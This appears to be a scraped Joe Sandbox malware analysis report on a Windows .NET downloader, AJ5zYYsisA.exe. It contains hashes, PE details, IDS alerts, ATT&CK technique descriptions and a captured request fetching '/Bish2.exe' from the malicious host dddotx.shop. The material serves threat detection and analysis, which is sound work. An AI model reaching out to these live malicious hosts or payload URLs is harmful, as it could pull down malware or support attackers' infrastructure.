	n0nsAzvYNd.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	njVvgA8pEB.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	KtPCqWWnqM.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	YDg44STseR.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	KtPCqWWnqM.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	ZoRLXzC5qF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	6BRa130JDj.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	4AMVusDMPP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	188.114.96.3
	ukBQ4ch2nE.exe	Get hash	malicious	AgentTesla	Browse	188.114.96.3

Process:	C:\Users\user\Desktop\AJ5zYYsisA.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.345615485833535
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhPKIE4oKNzKoZAE4KzeR:MxHKlYHKh3oPtHo6hAHKzeR
MD5:	EEEC189088CC5F1F69CEE62A3BE59EA2
SHA1:	250F25CE24458FC0C581FDDF59FAA26D557844C5
SHA-256:	5345D03A7E6C9436497BA4120DE1F941800F2522A21DE70CEA6DB1633D356E11
SHA-512:	2E017FD29A505BCAC78C659DE10E0D869C42CE3B057840680B23961DBCB1F82B1CC7094C87CEEB8FA14826C4D8CFED88DC647422A4A3FA36C4AAFD6430DAEFE5
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.14477814728973
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	AJ5zYYsisA.exe
File size:	101'376 bytes
MD5:	d522a48e0db195310ffe6dabf14d3c32
SHA1:	83a4dfb28a5c9710ff812e7f568bf71316e33665
SHA256:	846b1a1780ef242a61828a428ce04a9d40c3a6bd02de90a3a06499895899fede
SHA512:	6c70b5014807a03448a1d8b8aec3a2dc95e8e6c72c3a1313674bce278e94a7cd935dfc8375ad0c7fe92d5eff12f46b1fb81e971aafc70b83582c82349b57a46b
SSDEEP:	384:SmsWV1SRxW+dwMDS3b7202OtaiqLhSp1Xtff9vwEG9/XwJwq6uJfq2GSLwqX9vwt:SdiAZdwPLLNT0a22GZ2GzmW19
TLSH:	5BA3B330B6578721C52B1E31C8AD755C0372AF85A923DA5FE88C33799BF23C74A91B52
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....r...............0..x..........n.... ........@.. ....................................`................................

File Icon


Icon Hash:	1a5ada12a98c3689

Static PE Info

General

Entrypoint:	0x40976e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xEF72C5EC [Sat Apr 20 06:06:36 2097 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9720	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa000	0x10e54	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x96d4	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x7774	0x7800	6edf62815fb84feb6652ef2deb7c7acc	False	0.35771484375	data	5.38635854985906	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xa000	0x10e54	0x11000	83d61dc8e888d40f171008f7643aa345	False	0.05658318014705882	data	2.6807684242744467	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1c000	0xc	0x200	3ee5eb55d2c84cad34ece42377c6f250	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xa130	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	0.046891636105524666
RT_GROUP_ICON	0x1a958	0x14	data	1.15
RT_VERSION	0x1a96c	0x2fc	data	0.43586387434554974
RT_MANIFEST	0x1ac68	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:35:00.622476+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49702	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:34:59.794503927 CET	49702	443	192.168.2.7	188.114.96.3
Jan 11, 2025 03:34:59.794537067 CET	443	49702	188.114.96.3	192.168.2.7
Jan 11, 2025 03:34:59.794605017 CET	49702	443	192.168.2.7	188.114.96.3
Jan 11, 2025 03:34:59.808278084 CET	49702	443	192.168.2.7	188.114.96.3
Jan 11, 2025 03:34:59.808299065 CET	443	49702	188.114.96.3	192.168.2.7
Jan 11, 2025 03:35:00.277520895 CET	443	49702	188.114.96.3	192.168.2.7
Jan 11, 2025 03:35:00.277610064 CET	49702	443	192.168.2.7	188.114.96.3
Jan 11, 2025 03:35:00.281553030 CET	49702	443	192.168.2.7	188.114.96.3
Jan 11, 2025 03:35:00.281563997 CET	443	49702	188.114.96.3	192.168.2.7
Jan 11, 2025 03:35:00.281802893 CET	443	49702	188.114.96.3	192.168.2.7
Jan 11, 2025 03:35:00.334992886 CET	49702	443	192.168.2.7	188.114.96.3
Jan 11, 2025 03:35:00.347934008 CET	49702	443	192.168.2.7	188.114.96.3
Jan 11, 2025 03:35:00.391335964 CET	443	49702	188.114.96.3	192.168.2.7
Jan 11, 2025 03:35:00.622489929 CET	443	49702	188.114.96.3	192.168.2.7
Jan 11, 2025 03:35:00.622582912 CET	443	49702	188.114.96.3	192.168.2.7
Jan 11, 2025 03:35:00.622821093 CET	49702	443	192.168.2.7	188.114.96.3
Jan 11, 2025 03:35:00.638020992 CET	49702	443	192.168.2.7	188.114.96.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:34:59.767762899 CET	64581	53	192.168.2.7	1.1.1.1
Jan 11, 2025 03:34:59.780478001 CET	53	64581	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:34:59.767762899 CET	192.168.2.7	1.1.1.1	0x4385	Standard query (0)	dddotx.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:34:59.780478001 CET	1.1.1.1	192.168.2.7	0x4385	No error (0)	dddotx.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:34:59.780478001 CET	1.1.1.1	192.168.2.7	0x4385	No error (0)	dddotx.shop		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

dddotx.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49702	188.114.96.3	443	2868	C:\Users\user\Desktop\AJ5zYYsisA.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 02:35:00 UTC	70	OUT	GET /Bish2.exe HTTP/1.1 Host: dddotx.shop Connection: Keep-Alive
2025-01-11 02:35:00 UTC	827	IN	HTTP/1.1 404 Not Found Date: Sat, 11 Jan 2025 02:35:00 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fuz5G1IHvIYKa3ZvgJDCAj%2BnzwVGGXWy3wDAJdvzNR0QyoD21js1xoESBMYGdTz%2FV4b12D0Y2VKNUtl3yPMNaqx83Jihz4gqbGdMH%2FpqtvOxu6433MNQFqW4p7MEFQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900182cf7a5a429a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1870&min_rtt=1858&rtt_var=722&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=684&delivery_rate=1489795&cwnd=237&unsent_bytes=0&cid=15301424f7eb13c0&ts=362&x=0"
2025-01-11 02:35:00 UTC	213	IN	Data Raw: 63 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 42 69 73 68 32 2e 65 78 65 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: cf<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /Bish2.exe was not found on this server.</p></body></html>
2025-01-11 02:35:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	21:34:58
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\AJ5zYYsisA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\AJ5zYYsisA.exe"
Imagebase:	0x270000
File size:	101'376 bytes
MD5 hash:	D522A48E0DB195310FFE6DABF14D3C32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Function 008E0800 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1271963432.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_AJ5zYYsisA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0fb128bec88d4e8cc32e53133449092417066bfc3813af084fc7df4d4b4adf7
Instruction ID: 00ae98166cc54c7e54976abf4e3a133ace97b82d454b6d52922208fbba0453d4
Opcode Fuzzy Hash: c0fb128bec88d4e8cc32e53133449092417066bfc3813af084fc7df4d4b4adf7
Instruction Fuzzy Hash: 84419B74D09298CFDB04EFAAD8845EDBBB1FF8A310F28982AD405E7215D7B05986CF41

Function 008E0838 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1271963432.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_AJ5zYYsisA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d20602c842de36bcd798d3973f9a7b37df2208e898197be53e268f1604ef0d
Instruction ID: 25f978a1b615dfb9f16acf5ac46148ec521664b642a4b2d00b194980406a01a4
Opcode Fuzzy Hash: d5d20602c842de36bcd798d3973f9a7b37df2208e898197be53e268f1604ef0d
Instruction Fuzzy Hash: 3F41F474D0425CDBDB04EFAAE8445EDBBB6FF8A310F24A42AD40AA7355D7B059868F40

Function 008E0820 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1271963432.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_AJ5zYYsisA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 266790e74281aef0185b62ec18ab926ec4c724c6b749f00c547e4603da3f474e
Instruction ID: 21f126497ba5081e0ba44d064f9c66b1fdf2865355946566d3a5374546569918
Opcode Fuzzy Hash: 266790e74281aef0185b62ec18ab926ec4c724c6b749f00c547e4603da3f474e
Instruction Fuzzy Hash: 49410674D09258CFCB04EFAAE8845ACBBB5FF8A314F24A42AD409E7215C7705986CF40

Function 008E0848 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1271963432.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_AJ5zYYsisA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bd7754baf5130f854add8ecb22c994efadb18837946271254897e1f760ceee7
Instruction ID: ccdd7e32a3078c1f5a547e112206ed8d0698007006665a2c6bf75486a2ab83eb
Opcode Fuzzy Hash: 4bd7754baf5130f854add8ecb22c994efadb18837946271254897e1f760ceee7
Instruction Fuzzy Hash: 67411A74D0425CDBDB04EFA6D8445EDBBB6FF8A314F24A42AD40AA7315D7B05986CF40

Function 008E0F83 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1271963432.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_AJ5zYYsisA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19337b73a5004f1fbbc1ca003977653262f75ac6ed93fa9d3147a839a6194552
Instruction ID: bb6143844e81dcee81f08537ba001d22b2e134376a0c7e48ca4dee20a667fa36
Opcode Fuzzy Hash: 19337b73a5004f1fbbc1ca003977653262f75ac6ed93fa9d3147a839a6194552
Instruction Fuzzy Hash: 7E212770D0968CCBDB14CFA6D484AEDBBB6FF4A314F24A529D405E7255CB704881DF50

Function 008E0FAF Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1271963432.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_AJ5zYYsisA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0a4198dfee619f098f45164ca1f7c4d0199056ac0109e6e81fbf3be86b8c0f6
Instruction ID: 68b77f21a37adf64d7adc04c2290c1f045737a2f6d00c176f28e742ae6b48c28
Opcode Fuzzy Hash: c0a4198dfee619f098f45164ca1f7c4d0199056ac0109e6e81fbf3be86b8c0f6
Instruction Fuzzy Hash: BD21F334D09288CBCF20DFAAD484AEDBBB5FB0A304F206529D419F3251C7705881DF50

Function 008E09E8 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1271963432.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_AJ5zYYsisA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ba02e4246e64adbec8a845e64e71c7a09c5176836eea559f9f87e3bc6e9338c
Instruction ID: 97757cbe059420e7ed6080cc0ff3c4209b233e850dd710cf932b9c0746854ef8
Opcode Fuzzy Hash: 2ba02e4246e64adbec8a845e64e71c7a09c5176836eea559f9f87e3bc6e9338c
Instruction Fuzzy Hash: D4F02B3094838CCBC7045F76E818AB9B779FB8B319F147875C109A3152DBF00895DE55

Function 008E0A98 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1271963432.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_AJ5zYYsisA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cdb8ae1fca7f6f115a1bc4e572a6df055524422f061e55ca05883fec11979aa
Instruction ID: b9ebfab65c6f624594c81a97d8add11172841e9958a36cac286fc3abf2c195af
Opcode Fuzzy Hash: 3cdb8ae1fca7f6f115a1bc4e572a6df055524422f061e55ca05883fec11979aa
Instruction Fuzzy Hash: 97D012705493889FD7459FF49815A997B74FB43204F0411DBC444972E1E6714E40D791

Function 008E0AA8 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1271963432.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_AJ5zYYsisA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0bb53f2ab3a8a6ba7197b5bdd6ad8f386b6ea51ea32ea4749c3b6f6b0731e65
Instruction ID: 7457f46e248f5ffcae56d0e332cf56a819d5236b940c75f4bcc276dfc4aa15a8
Opcode Fuzzy Hash: a0bb53f2ab3a8a6ba7197b5bdd6ad8f386b6ea51ea32ea4749c3b6f6b0731e65
Instruction Fuzzy Hash: B6C0127054531CABD744DBA5D801F9D736CF783205F4011AAD404532909B711E50DA95

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report AJ5zYYsisA.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AJ5zYYsisA.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Windows Analysis Report
AJ5zYYsisA.exe